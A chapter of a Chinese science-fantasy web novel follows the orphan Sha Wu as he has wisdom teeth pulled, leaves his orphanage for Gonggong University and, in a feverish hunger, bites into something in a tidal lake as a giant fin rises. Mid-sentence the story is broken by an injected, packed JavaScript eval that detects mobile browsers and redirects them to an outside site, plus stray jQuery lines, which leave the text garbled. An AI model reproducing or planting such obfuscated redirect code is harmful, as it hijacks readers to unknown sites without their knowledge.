少年躺在牙科诊所的诊疗床上，听着仪器在自己的口腔里，或者周围几个诊室其他人的口腔里，“日”一阵，又“日”一阵，额头后背都在冒汗。
空调像是假的，额前的碎发被汗水浸湿，黏在额头上，恍惚看到自己的半个灵魂都已经飘在了空中。
娃娃脸的女医生动作利落，柔软如面条一样的手指轻松弯曲到足够的角度，灵活处理位置刁钻的智齿位置，还不断安慰：“没事的。你都拔了三次智齿了，又不是没有经验，很快就好了。”
一旁的护士对着少年露出姨母笑，时不时看一眼变异值：“只是多长几次智齿，变异值只有5点，很轻微的变异了。”
个人资料上的少年，证件照上表情严肃眼神凶悍，但显然影像录入时间要早两年，一张娃娃脸让他的凶悍像是毛绒绒的动物幼崽，搭配他精致的五官，只会让人觉得可爱。
现在的少年比起证件照上的轮廓更加清晰了一点，让他原本就精致的五官显露出更加清晰的轮廓，尤其是这会儿躺在诊疗床上的脆弱模样，完全看不出一丁点凶悍。
嗨呀~像只亚成年的大猫，真想抱着好好哄哄。
沙伍张大嘴，眼神涣散，四大皆空，完全不知道护士心里面在想什么。
“好了。”医生递给他一个漱口杯。
整个拔牙过程实际不到十五分钟，却感觉像是过了好几个小时，甚至是一个生死轮回。
伴随着医生简单的两个字，沙伍感觉自己飘在半空的灵魂被重新摁回到身体，漱完口从诊疗床上下来。
眼角的余光瞟到托盘上被拔下来的智齿，连脑仁都疼得抽抽。
娃娃脸医生夹着一团纱布塞进他的伤口上，“咬住，过半个小时再取出。”叮嘱他，“下周三再过来一趟，看看你是不是还长智齿。”
“唔。”沙伍咬着止血的纱布，说话的声音有些含糊，“可以帮我把复诊的地点换到青龙城吗？”
“你要去青龙城？”护士一边修改复诊地点，一边问沙伍，“考了青龙城的大学？”
“唔。共工大学。”沙伍报出自己的学校名字。
护士眼前一亮：“可以啊。小哥哥长得帅，读书还好。”
“没有。超常发挥，勉勉强强考上的。”沙伍是个老实孩子，承认自己的学习能力，并没有否认自己长得帅。
护士更改了他的复诊医院，语气都轻松欢快起来：“直接给你约了共工大学的校医院。”
沙伍看到自己的手环亮起，确认收到了复诊信息。
他没有马上离开医院，找了个空位等了半小时，把口腔内止血的纱布取下，大概是麻醉效果还在，这会儿倒是不疼。
要是下周再长牙的话……下周再长的话，他下周在青龙城。那边的医疗条件应该更好，这种区区5点变异值造成的小变异，应该很容易解决吧？
他慢吞吞走出医院，在门口刷了一辆共享小飞车。
“您好，请设置目的地。”
“东湖孤儿院宿舍区11栋。”
“好的，路线已规划完毕，请系好安全带，预计十五分钟后到达。”
沙伍系好安全带，戴上耳机，打开手环，随便点了个音频节目听了起来。
“6月12日深夜0:15，距离南方朱雀城外30公里处，爆发变异虫潮，大量变异蟑螂、蚂蚁等昆虫对朱雀城发动袭击，一度突破第一道防线，截止上午9点，已经造成数十人伤亡。目前虫潮已经被基本控制，但仍有零星变异虫散落。朱雀城对外陆地交通暂时中断，预计三天后恢复。对于因交通滞留旅客，朱雀城会安排食宿……”
“南方湿婆城和娜迦城对抗持续激化……”
“后土四少之首的姜纶少爷确定进入青龙学院就读。众所周知，共工大学青龙学院是专门培养异能者的学院，而姜纶少爷并没有异能，现在外界对此有诸多揣测。另外，后土城的姜纶少爷为什么要去青龙城就读？本台联系了几位专家对此进行分析和点评……”
沙伍听着耳机中传来的一堆专家评论，不明白一个没有异能的小少爷读书的问题，怎么就比朱雀城的虫潮和国外的内战还长篇大论。
“您的目的地已经到达。”
小飞车的声音唤回他的神智。
他恍惚回神，扫手环结清了费用。
小飞车从离地十厘米的高度降落：“祝您生活愉快，再见。”
“再见。”
周围高楼林立，几乎高耸入云，其下的街道显得格外狭窄压抑。
这一片都是东湖孤儿院的宿舍区，居住着数十万孤儿。
沙伍只是其中普普通通的一员。
根据规定，他已经年满18周岁，必须离开这里。
如果不是拔不完的智齿，早几个礼拜，他就已经搬走。
他仰头看了看周围，快步走进大楼，刷手环在一楼前台拿上寄存的行李，注销了自己的房卡，跟宿管老师道别：“沙妈妈，那我走了。”
沙妈妈是个胖胖的和蔼中年妇女，用右手机械臂帮沙伍把一袋行李提出门：“牙齿还疼吗？”
“不……”沙伍下意识否认，迟疑了一下还是低头小声道，“疼。”
“大概是麻醉退了，正常的。要是实在疼得厉害，打工那边可以晚几天再去。学生宿舍楼这边不能住，教职工那边应该有空床位，我去给你打招呼。”
“不用了。”沙伍拒绝了沙妈妈的好意，“医生已经帮我预约了共工大学的校医院复诊。”
沙妈妈一听，就放心地笑了：“那行。不管有没有再长智齿，一定要去复诊，不要取消。检查尽量做详细一些。”
“好……”
沙伍还想说什么，就见沙妈妈拍了拍他的肩膀：“好了，飞车到了，快去车站，小心赶不上列车。”
“嗯。”沙伍坐上飞车，偏头看着宿管老师，“沙妈妈再见。”
这次的飞车有一个行李架，可以放置一些行李。
沙伍在孤儿院住了18年，所有需要带走的行李只有一个不大的行李箱。
他叫沙伍，很简单，就是沙妈妈领养的第五个孩子。
虽然这种领养并没有正规的领养手续，沙妈妈只是孤儿院给年幼的孤儿安排一个“家长”，沙妈妈除了领养的孩子之外，还需要照顾很多很多别的孩子，但是……
机械手一巴掌拍到他后背上，沙妈妈凶巴巴地撵人：“快走！”
沙伍顿时感觉头疼牙疼都不及后背的这一下疼，瞬间把小飞车开到最高限速：“走了！”
作为青龙城的卫星城之一，东湖城前往青龙城的交通很便利，城际列车一个小时就能到达。
出火车站后，飞车倒是用了两个小时，才把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177654|180796||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沙伍送到了共工大学。
学校还没正式开学，不过沙伍可以提前报到。
他在路上就通过手环办理完了手续，拿到了宿舍编号。
宿舍楼和孤儿院的格局没多大差别，顶多就是稍微新一点，以及尽管狭小，但好歹是个单间。
沙伍刷手环进入，申请了宿舍公共的家务机器人过来打扫，完了之后拍了一张照片发给沙妈妈：“到了。”
尽管这个宿舍只是个临时宿舍，正式宿舍要等开学后再安排，但已经比孤儿院的四人间好多了。
顾不上别的，沙伍坐到单人床上，倒头就躺了上去。
麻药已经彻底退了，疼痛从若有似无，渐渐变得明显。
牙床一突一突地疼，像是新的牙齿在往上顶。
脑仁一抽一抽地疼，像是脑袋瓜子里真长了颗瓜子，正在破壳而出，要把他脑袋涨破。
他整个人昏昏沉沉的，都不知道自己有没有睡着。
沿海的夏季空气炙热中带着湿度过高的黏腻，像要把他整个人包裹其中，有一种窒息感，又有一种奇怪的让他感到舒适的气息。
再清醒的时候，他全身几乎都被汗水浸透。
宿舍没有单独的浴室，楼内的浴室没有开放，沙伍拿好换洗衣物，还是决定先去公共澡堂。
假期的学校没什么人，开放的区域七零八落地散布在学校各处。
外面已经是深夜，整个校园内似乎只有风声和昆虫的声音。
沙伍扫了一辆小飞车，设定了目的地，脑袋昏昏沉沉的，所有的声音都像是隔了一层再传进耳朵，嗅觉却变得格外灵敏，一股很诱人的香气，若隐若现地萦绕鼻尖。
从上午看牙以来到现在都快半夜了，他都没吃过东西，确实是饿得有点久。
他几乎下意识就对小飞车下达指令：“切换手动操作。”
先去吃个饭吧？可能是地图上没标注的小店。
闻着很近。
他没注意到周围的建筑愈发稀少，周围暗了下来，路灯没了。
小飞车停在一片开阔的水面上。
沙伍茫然四顾，鼻尖的香味更加浓郁，刚刚清醒了一点点的脑子像是塞入了一块大石头，沉得根本没有办法思考。
他根本没有办法思考，眼前一片黑暗，全身像是没有骨头一样软倒下来，沁凉的湖水瞬间缓解了身上的高热和窒息感，随之而来的是愈发强烈的饥饿感，对食物的渴求像是一双双骨瘦嶙峋的手从肠胃里钻出来，想把这股异常诱人的香气扯进肚子里。
……饿……
……好饿……
……好香……
四散攫取食物的“手”终于抓到了散发诱人香气的食物。
他张大嘴巴，一口咬上去。
食物有一层坚硬的脆壳。
牙床又开始隐隐作痛，却在饥饿下根本顾不上别的，用力一口咬下去。
一丝甜甜的味道进入口腔……
平静开阔的潮汐湖水位骤然上涨，淹没两米之上的河堤。
一道宛如船帆的三角背鳍从湖中缓缓升起，像是把整片湖面切割成两片。
被拍上岸的水花打湿的人脸色惨白，浑身麻木地看着巨大的三角背鳍直入大海，消失在夜色中，嘴唇颤抖：“……艹……”随即又神经质地笑了一声，连滚带爬地离开岸边。